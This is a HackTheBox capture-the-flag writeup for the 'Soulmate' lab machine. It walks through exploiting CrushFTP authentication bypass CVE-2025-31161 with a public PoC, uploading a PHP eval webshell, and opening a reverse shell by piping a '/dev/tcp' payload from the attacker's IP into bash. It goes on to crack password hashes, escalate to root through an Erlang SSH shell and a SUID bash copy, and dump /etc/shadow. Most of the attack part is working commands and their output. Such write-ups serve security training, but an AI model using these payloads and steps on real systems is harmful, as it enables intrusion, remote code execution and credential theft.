Post

HackTheBox Writeup - Soulmate

HackTheBox Writeup - Soulmate

Recon


Hosts

pt command is a custom pentest framework to manage hosts and variables, it is not required to reproduce the steps in this writeup

1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ pt init '10.10.11.86 soulmate.htb ftp.soulmate.htb'
+----------+--------+-------------+------------------+
| PROFILE  | STATUS |     IP      |      DOMAIN      |
+----------+--------+-------------+------------------+
| soulmate | on     | 10.10.11.86 | soulmate.htb     |
| soulmate | on     | 10.10.11.86 | ftp.soulmate.htb |
+----------+--------+-------------+------------------+

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Nmap 7.95 scan initiated Tue Nov  4 23:49:55 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80, 10.10.11.86
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)&nbsp;&nbsp;&nbsp;'
Nmap scan report for 10.10.11.86
Host is up, received user-set (0.091s latency).
Scanned at 2025-11-04 23:49:55 CST for 9s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov  4 23:50:04 2025 -- 1 IP address (1 host up) scanned in 9.80 seconds

80 - HTTP : Soulmate

Info

1
http://soulmate.htb/ [200] [] [Soulmate - Find Your Perfect Match] [nginx/1.18.0 (Ubuntu)] [303f81297c823a46e5b35c212dfe8bcef3af85e8] [Bootstrap:5.3.0,Nginx:1.18.0,PHP,Ubuntu,jsDelivr]

Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[+] cat httpx/urls.txt | feroxbuster -k -A --stdin -w /usr/share/wordlists/dirb/common.txt --dont-scan .(tif|tiff|ico|cur|bmp|webp|svg|png|jpg|jpeg|jfif|gif|avif|apngogg|css|js|woff|woff2|eot|ttf|otf)$ -I css,png,jpg,gif --collect-words --collect-backups --collect-extensions --scan-dir-listings -C 404,400,500 -r -n --scan-limit 4 -o bulkdirb.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://soulmate.htb/
 🚫  Don't Scan Regex      │ .(tif|tiff|ico|cur|bmp|webp|svg|png|jpg|jpeg|jfif|gif|avif|apngogg|css|js|woff|woff2|eot|ttf|otf)$
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 💢  Status Code Filters   │ [404, 400, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ Random
 🔒  Default Protocol      │ https
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ bulkdirb.txt
 📂  Scan Dir Listings     │ true
 💰  Collect Extensions    │ true
 💸  Ignored Extensions    │ [css, png, jpg, gif]
 🏦  Collect Backups       │ true
 🤑  Collect Words         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 📍  Follow Redirects      │ true
 🚫  Do Not Recurse        │ true
 🦥  Concurrent Scan Limit │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      238l      611w    11107c http://soulmate.htb/register.php
200      GET      178l      488w     8554c http://soulmate.htb/login.php
200      GET      306l     1061w    16688c http://soulmate.htb/
403      GET        7l       10w      162c http://soulmate.htb/assets/
200      GET      306l     1061w    16688c http://soulmate.htb/index.php

Subdomains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ gobuster vhost --append-domain -o gobuster_vhosts.txt -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -k -t 50 -u http://$(pt get rhost)
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://soulmate.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]
Progress: 100000 / 100000 (100.00%)
===============================================================
Finished
===============================================================

80 - ftp.soulmate.htb : CrushFTP WebInterface

Info

Add 10.10.11.86 soulmate.htb ftp.soulmate.htb to /etc/hosts

1
2
3
┌──(bravosecfsociety)-[~/htb/Soulmate]
└─$ URL="http://ftp.soulmate.htb:80"; OUT="$(echo $URL | awk -F'://' '{print $NF}' | sed -e 's|[/:]|-|g')"; echo $URL | httpx -random-agent -td -server -title -fr -sc -hash sha1 -silent -ss -timeout 20 -srd "httpx_$OUT" -o "httpx_$OUT/webprobe.txt"
http://ftp.soulmate.htb [302,200] [CrushFTP WebInterface] [nginx/1.18.0 (Ubuntu)] [1d081d2afde08576deac722f627ff2fd1cf07f75] [Nginx:1.18.0,Ubuntu]

User Flag


Shell as www-data

80 - Soulmate : Enumeration

After registering a user and login, we will be redirected to a profile page

http://soulmate.htb/profile.php

Checked

  • XSS in the form fields
  • File upload function (Strict extension whitelist : jpg, png, gif)

80 - CrushFTP : Vulnerability scan

Breakout

Since we don’t have efficient method to enumerate crushftp’s version info, we will use nuclei targeted scan

Found some nuclei templates for crushftp

1
2
3
4
5
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ find ~/nuclei-templates -type f | grep -i crush | grep -i ftp
/home/kali/nuclei-templates/http/default-logins/crushftp/crushftp-anonymous-login.yaml
/home/kali/nuclei-templates/http/default-logins/crushftp/crushftp-default-login.yaml
/home/kali/nuclei-templates/http/exposed-panels/crush-ftp-login.yaml

We got a tag : crushftp for its related templates

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ cat /home/kali/nuclei-templates/http/default-logins/crushftp/crushftp-anonymous-login.yaml | grep tag -i
  tags: default-logins,anonymous,crushftp,default-login,vuln

Use nuclei to scan the ftp.soulmate.htb with that tag

1
nuclei -me nuclei -u http://ftp.soulmate.htb/ -tags crushftp

Found a critical severity vulnerability CVE-2025-31161

1
2
3
4
5
6
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ cat nuclei/index.md
| Hostname/IP | Finding | Severity |
| --- | --- | --- |
| [ftp.soulmate.htb](crushftp-login-ftp.soulmate.htb-041e9d52-c87d-460f-a341-a7f9107223ca.md) | crushftp-login  | info |
| [ftp.soulmate.htb](CVE-2025-31161-ftp.soulmate.htb-0ae4cdb5-beac-40c7-a397-4e33eaa9bba4.md) | CVE-2025-31161  | critical |

nuclei/CVE-2025-31161-ftp.soulmate.htb-0ae4cdb5-beac-40c7-a397-4e33eaa9bba4.md

| Key | Value | | ———— | —————————————————————————————————————————————————————————————————————————————————— | | Name | CrushFTP - Authentication Bypass | | Authors | parthmalhotra, ice3man, dhiyaneshdk, pdresearch, whattheslime | | Tags | cve, cve2025, crushftp, unauth, auth-bypass, rce, kev, vkev, vuln | | Severity | critical | | Description | CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
| | CVSS-Metrics | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | CWE-ID | CWE-287 | | CVE-ID | CVE-2025-31161 | | CVSS-Score | 9.80 | | vendor | crushftp | | product | crushftp | Request

1
2
3
4
5
6
7
8
9
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=0014 HTTP/1.1
Host: ftp.soulmate.htb
User-Agent: Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/128.0 Safari/537.36
Connection: close
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Cookie: CrushAuth=2582385496738_JlXuuFwtmLwCJxnMjCzXdOJWBiSA0014; currentAuth=0014
Accept-Encoding: gzip


Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
HTTP/1.1 200 OK
Connection: close
Content-Length: 603
Cache-Control: no-store
Content-Type: text/xml;charset=utf-8
Date: Wed, 05 Nov 2025 06:44:38 GMT
P3p: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Pragma: no-cache
Server: nginx/1.18.0 (Ubuntu)

<?xml version="1.0" encoding="UTF-8"?>
<result><response_status>OK</response_status><response_type>properties</response_type><response_data><user_list type="properties">
        <user_list type="vector">
                <user_list_subitem>ben</user_list_subitem>
                <user_list_subitem>crushadmin</user_list_subitem>
                <user_list_subitem>default</user_list_subitem>
                <user_list_subitem>jenna</user_list_subitem>
                <user_list_subitem>TempAccount</user_list_subitem>
        </user_list>
</user_list></response_data></result>

80 - CrushFTP 11.3.0_2 : Authentication Bypass (CVE-2025-31161)

  • Google : CVE-2025-31161

Ref - https://www.huntress.com/blog/crushftp-cve-2025-31161-auth-bypass-and-post-exploitation

POC - https://github.com/Immersive-Labs-Sec/CVE-2025-31161

CVE-2025-31161

CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka “Unauthenticated HTTP(S) port access.”

A race condition exists in the AWS4-HMAC (compatible with S3) authorization method of the HTTP component of the FTP server. The server first verifies the existence of the user by performing a call to login_user_pass() with no password requirement. This will authenticate the session through the HMAC verification process and up until the server checks for user verification once more. The vulnerability can be further stabilized, eliminating the need for successfully triggering a race condition, by sending a mangled AWS4-HMAC header. By providing only the username and a following slash (/), the server will successfully find a username, which triggers the successful anypass authentication process, but the server will fail to find the expected SignedHeaders entry, resulting in an index-out-of-bounds error that stops the code from reaching the session cleanup. Together, these issues make it trivial to authenticate as any known or guessable user (e.g., crushadmin), and can lead to a full compromise of the system by obtaining an administrative account.

1
2
3
cd exploit
git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161
cd CVE-2025-31161

Run the exploit to create a new user to impersonate crushadmin

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/htb/Soulmate/exploit/CVE-2025-31161]
└─$ python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user 'bravosec' --password 'Bravosec1337!'
[+] Preparing Payloads
  [-] Warming up the target
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: bravosec
   [*] Password: Bravosec1337!.

Successfully logged in with the account

http://ftp.soulmate.htb/WebInterface/login.html

Got version info : CrushFTP 11.3.0_2

http://ftp.soulmate.htb/WebInterface/admin/index.html

80 - CrushFTP User Manager : VFS

There’s a tab to manage users in the administration interface

http://ftp.soulmate.htb/WebInterface/admin/index.html

  • CrushFTP supports VFS (Virtual File System), so we can access arbitrary files via FTP

80 - VFS : Attempt to crack user credentials

Let’s add CrushFTP’s root /app to our user’s VFS with full file permissions

The user data was backed up to /app/CrushFTP11/backup/users/MainUsers/, we can select all then download them

http://ftp.soulmate.htb/#/CrushFTP11/backup/users/MainUsers/

Move the downloaded archive to our workspace then decompress it

1
2
3
4
mkdir -p loot/80
cd loot/80
mv ~/Downloads/archive.zip .
7z x archive.zip -o'archive'

Decompress all backup files

1
find . -type f -iname '*.zip' | while read -r f; do d="$(echo $f | sed 's/.zip$//g')"; 7z x $f -o"$d"; done

Sample XML:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(bravosec㉿fsociety)-[~/…/Soulmate/loot/80/archive]
└─$ cat ben-08062025_135001/user.XML
<?xml version="1.0" encoding="UTF-8"?>
<userfile type="properties">
        <created_time>1754488201199</created_time>
        <updated_time>1754488201198</updated_time>
        <root_dir>/</root_dir>
        <max_logins>0</max_logins>
        <version>1.0</version>
        <updated_by_username>crushadmin</updated_by_username>
        <password>SHA512:3abdb939a870d5f892cbcad7ec890b27b725ae79b954e2c23deae3de5ed7022376cd8312d11b2a8dc651d523f28b7535e1fbe6f523f95c0b56f4af7dc1d09a96</password>
        <created_by_username>crushadmin</created_by_username>
        <userVersion>6</userVersion>
        <updated_by_email></updated_by_email>
        <created_by_email></created_by_email>
        <username>ben</username>
</userfile>

Extract unique password hashes from all XML files

1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/…/Soulmate/loot/80/archive]
└─$ grep -ri -F '<password' | awk -F':' '{print $3}' | awk -F'</password' '{print $1}' | sort -u

3abdb939a870d5f892cbcad7ec890b27b725ae79b954e2c23deae3de5ed7022376cd8312d11b2a8dc651d523f28b7535e1fbe6f523f95c0b56f4af7dc1d09a96
3c991859b92493349187015e5035bc6f4fb3331b9fc7aabf27035468a84fd0d3ed7bc46b2918a51cf33bb3c3a70aafb91569b4079741a58f65afbd7729f0a696
d9eca4956a9d757ba0f007403f73b0d40d79be5d1fba36bc6ce64f98d9c9e88d
eeaeabe70899e53be528455a16fb797cfa74cba4f63d8a1980072a2a8f175db5269525283da852ce9f24cd407e4c63256aa383cac5b59da9bf1664d4d30359a6
ff12d7bb6c9067c1d88901beaba631491d034500a1116615d80cbc1a88c8bde00e82d9db669345bcc3172fcd5d17ce996b579a597ec7d1bbaba52eaa22d51fc1

Cracked a hash : kavi123 via crackstation

It was kavi’s password, but trying the credential on ssh doesn’t return any result

1
2
3
┌──(bravosec㉿fsociety)-[~/…/Soulmate/loot/80/archive]
└─$ grep -rin 079741a58f65afbd7729f0a696
kavi-08062025_131138/user.XML:10:       <password>SHA512:3c991859b92493349187015e5035bc6f4fb3331b9fc7aabf27035468a84fd0d3ed7bc46b2918a51cf33bb3c3a70aafb91569b4079741a58f65afbd7729f0a696</password>

80 - VFS : Upload php webshell

ben’s account has some interesting folders

Check webProd’s properties

  • webProd was linked to /app/webProd

  • its folder structure seems to be the web app hosting at soulmate.htb on port 80

Upload a php webshell to /app/webProd

1
echo '<?php @eval($_REQUEST[0]);?>' > x.php

It doesn’t have disable_functions defined

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ curl http://soulmate.htb/x.php --data-urlencode '0=phpinfo();' -s | grep disable_functions
<tr><td class="e">disable_functions</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>

Get a shell

1
nc -lvnp 1111
1
PORT="80"; fuser -k "$PORT/tcp" 2>/dev/null; mkdir -p www && echo -e '#!/bin/sh\nsh -i >& /dev/tcp/10.10.14.60/1111 0>&1' > www/index.html && python -m http.server $PORT -d www
1
curl http://soulmate.htb/x.php --data-urlencode '0=system("curl 10.10.14.60|bash");'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.60] from (UNKNOWN) [10.10.11.86] 57342
/bin/sh: 0: can't access tty; job control turned off
$ /usr/bin/script -qc /bin/bash /dev/null
www-data@soulmate:~/soulmate.htb/public$ ^Z
zsh: suspended  nc -lvnp 1111

stty raw -echo;fg
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111
                               export TERM=xterm
www-data@soulmate:~/soulmate.htb/public$ stty rows 24 columns 209
www-data@soulmate:~/soulmate.htb/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@soulmate:~/soulmate.htb/public$

Shell as ben

Enumeration

User ben from crushftp is on the machine as well

1
2
3
www-data@soulmate:~/soulmate.htb/public$ cat /etc/passwd | grep -viE 'false$|nologin$|sync$'
root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:,,,:/home/ben:/bin/bash

There are some ports listening on localhost, but most of them should be the ports from crushftp services

1
2
3
4
5
6
7
8
9
10
11
www-data@soulmate:~/soulmate.htb/public$ ss -ltnpu | awk '$5 !~ /0.0.0.0|::|\*/'
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:9090       0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:4369       0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:39097      0.0.0.0:*
tcp   LISTEN 0      5          127.0.0.1:2222       0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:8443       0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:8080       0.0.0.0:*
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*
tcp   LISTEN 0      128        127.0.0.1:46205      0.0.0.0:*

We can do a quick fuzzing to check out interesting ports

  • SSH-2.0-Erlang/5.2.9 on port 2222 looks interesting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
www-data@soulmate:~/soulmate.htb/public$ ss -ltnp | awk '$4 !~ /0.0.0.0|::|\*/' | awk '{print $4}' | awk -F: '{print $NF}' | tail -n +2 | while read -r p; do echo -e "\n[*] $p"; echo help | nc -nv -w1 127.0.0.1 $p; done

[*] 9090
Connection to 127.0.0.1 9090 port [tcp/*] succeeded!

[*] 4369
Connection to 127.0.0.1 4369 port [tcp/*] succeeded!

[*] 39097
Connection to 127.0.0.1 39097 port [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request
[*] 2222
Connection to 127.0.0.1 2222 port [tcp/*] succeeded!
SSH-2.0-Erlang/5.2.9
Protocol mismatch.
[*] 8443
Connection to 127.0.0.1 8443 port [tcp/*] succeeded!


[*] 8080
Connection to 127.0.0.1 8080 port [tcp/*] succeeded!

[*] 53
nc: connect to 127.0.0.1 port 53 (tcp) failed: Connection refused

[*] 46205
Connection to 127.0.0.1 46205 port [tcp/*] succeeded!

Find interesting files

1
2
3
4
5
www-data@soulmate:~/soulmate.htb/public$ find ~ -type f
/var/www/html/index.nginx-debian.html
[...]
/var/www/soulmate.htb/data/soulmate.db
/var/www/soulmate.htb/config/config.php

An administrator user admin with the password Crush4dmin990 will be inserted into a sqlite database if no administrators exists

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@soulmate:~/soulmate.htb/public$ cat /var/www/soulmate.htb/config/config.php
<?php
class Database {
    private $db_file = '../data/soulmate.db';
[...]
        if ($adminCheck->fetchColumn() == 0) {
            $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
            $adminInsert = $this->pdo->prepare("
                INSERT INTO users (username, password, is_admin, name)
                VALUES (?, ?, 1, 'Administrator')
            ");
            $adminInsert->execute(['admin', $adminPassword]);
        }
[...]

The only user in the database was admin, and the hashed password was indeed Crush4dmin990. Password spray on local users didn’t return anything

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@soulmate:~/soulmate.htb/config$ db='../data/soulmate.db'
www-data@soulmate:~/soulmate.htb/config$ sqlite3 $db '.headers on' '.mode columns tables' 'SELECT name AS table_name, sql AS create_statement FROM sqlite_master WHERE type = "table"'
table_name       create_statement                                                                                                                                                                                                                                                                                                                                                                                                 
---------------  ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
users            CREATE TABLE users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            is_admin INTEGER DEFAULT 0,
            name TEXT,
            bio TEXT,
            interests TEXT,
            phone TEXT,
            profile_pic TEXT,
            last_login DATETIME,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )
sqlite_sequence  CREATE TABLE sqlite_sequence(name,seq) 
1
2
www-data@soulmate:~/soulmate.htb/config$ sqlite3 $db -separator ':' 'select username, password from users;'
admin:$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2
1
2
3
4
5
6
7
8
9
10
11
12
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$  echo 'admin:$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2' > loot/soulmate.db.hash

┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ echo 'Crush4dmin990' | hashcat loot/soulmate.db.hash --user -m 3200
hashcat (v6.2.6) starting
[...]
$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2:Crush4dmin990
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
[...]

Credentials in erlang escript

There’s a abnormal process running as root

1
2
3
4
5
6
www-data@soulmate:~/soulmate.htb/public$ ps auxfw5
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
[...]
root        1069  0.0  1.7 2253488 68540 ?       Ssl  03:13   0:15 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -ho
root        1140  0.0  0.0   2784   944 ?        Ss   03:13   0:00  \_ erl_child_setup 1024
[...]

Erlang is a programming language used to build massively scalable soft real-time systems with requirements on high availability.

It’s a erlang SSH daemon with logging on port 2222, and it contains ben’s password : HouseH0ldings998

1
2
3
4
5
6
www-data@soulmate:~/soulmate.htb/public$ ls -latr /usr/local/lib/erlang_login
total 16
drwxr-xr-x 5 root root 4096 Aug 14 14:12 ..
-rwxr-xr-x 1 root root 1570 Aug 14 14:12 login.escript
-rwxr-xr-x 1 root root 1427 Aug 15 07:46 start.escript
drwxr-xr-x 2 root root 4096 Aug 15 07:46 .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
www-data@soulmate:~/soulmate.htb/public$ cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

22 - SSH

1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ sshpass -p 'HouseH0ldings998' ssh -o "StrictHostKeyChecking no" ben@10.10.11.86
Warning: Permanently added '10.10.11.86' (ED25519) to the list of known hosts.
Last login: Wed Nov 5 14:21:40 2025 from 10.10.14.60
ben@soulmate:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben)
ben@soulmate:~$ cat user.txt
e506929f54434cc98786f3db8bb4e501

Root Flag


Shell as root

Eshell V15.2.5 - Command execution

The erlang_login app seems use OTP apps and do some loggings

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ben@soulmate:~$ cat /usr/local/lib/erlang_login/login.escript
#!/usr/bin/env escript
%%! -noshell

main(_) ->
    %% Start required OTP apps safely
    start_app(crypto),
    start_app(asn1),
    start_app(public_key),
    start_app(ssh),

    %% Fetch environment vars safely
    User = safe_env("USER"),
    Conn = safe_env("SSH_CONNECTION"),
    Tty  = safe_env("SSH_TTY"),
    Host = safe_env("HOSTNAME"),

    %% Build log line
    LogLine = io_lib:format("login user=~s from=~s tty=~s host=~s~n",
                            [User, Conn, Tty, Host]),

    %% Log to syslog
    os:cmd("logger -t erlang_login " ++ lists:flatten(LogLine)),

    %% Log to a flat file
    ensure_logdir(),
    file:write_file("/var/log/erlang_login/session.log",
                    LogLine,
                    [append]),

    %% Exit cleanly
    halt(0).
[...]

Connect to the custom ssh daemon

1
2
3
4
5
6
7
8
9
ben@soulmate:~$ ssh -p 2222 ben@127.0.0.1
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
ben@127.0.0.1's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>

We can run system commands as root

1
2
3
(ssh_runner@soulmate)1> os:cmd("id").

"uid=0(root) gid=0(root) groups=0(root)\n"

Copy /bin/bash to /tmp/b then give it SETUID bits, so that any users can execute bash on behalf of its owner (which is root)

1
2
3
(ssh_runner@soulmate)2> os:cmd("cp /bin/bash /tmp/b; chmod +s /tmp/b").

[]

We can run bash with preserved root euid, then set uid to root with the help of python’s os.setuid() function

1
2
3
4
5
6
7
8
9
10
11
12
┌──(bravosec㉿fsociety)-[~/htb/Soulmate]
└─$ sshpass -p 'HouseH0ldings998' ssh -o "StrictHostKeyChecking no" ben@10.10.11.86
Last login: Wed Nov 5 16:57:48 2025 from 10.10.14.60
ben@soulmate:~$ /tmp/b -p
b-5.1# id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)
b-5.1# $(which python2 python python3 2>/dev/null | head -n1) -c 'import os;os.setuid(0);os.system("/bin/bash -p")'
root@soulmate:~# id
uid=0(root) gid=1000(ben) groups=1000(ben)
root@soulmate:~# cat /root/root.txt
b62501cd58b1988034d59474a165d86b
root@soulmate:~# rm /tmp/b

Additional


Post exploitation

Secrets

1
2
3
root@soulmate:~# awk -F: '$2 ~ /^\$/' /etc/shadow
root:$y$j9T$F0ac/VWnpQL9EP1.SyIKb.$YO.C6lGpumKomf/Ql.1D.YFt7kopiSCTdfDyk4FLdY5:20319:0:99999:7:::
ben:$y$j9T$5nWQGACiAivm4O0RaH71X.$6Yn5wee.ahPGiTaVP2aFVeDt2vn5JLH1/f1tNknhyQ7:20319:0:99999:7:::

Files

Box creator’s tmux config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
root@soulmate:/root/scripts# cat ../.config/tmux/tmux.conf
# Remap prefix keys
unbind C-b
set-option -g prefix M-a
bind-key M-a send-prefix

# Terminal quality
set -g history-limit 100000
set-option -g base-index 1
set-option -g renumber-windows on
set-option -g automatic-rename on

# Screen spliting
unbind '"'
unbind %
bind h split-window -v
bind v split-window -h

# Joining Windows
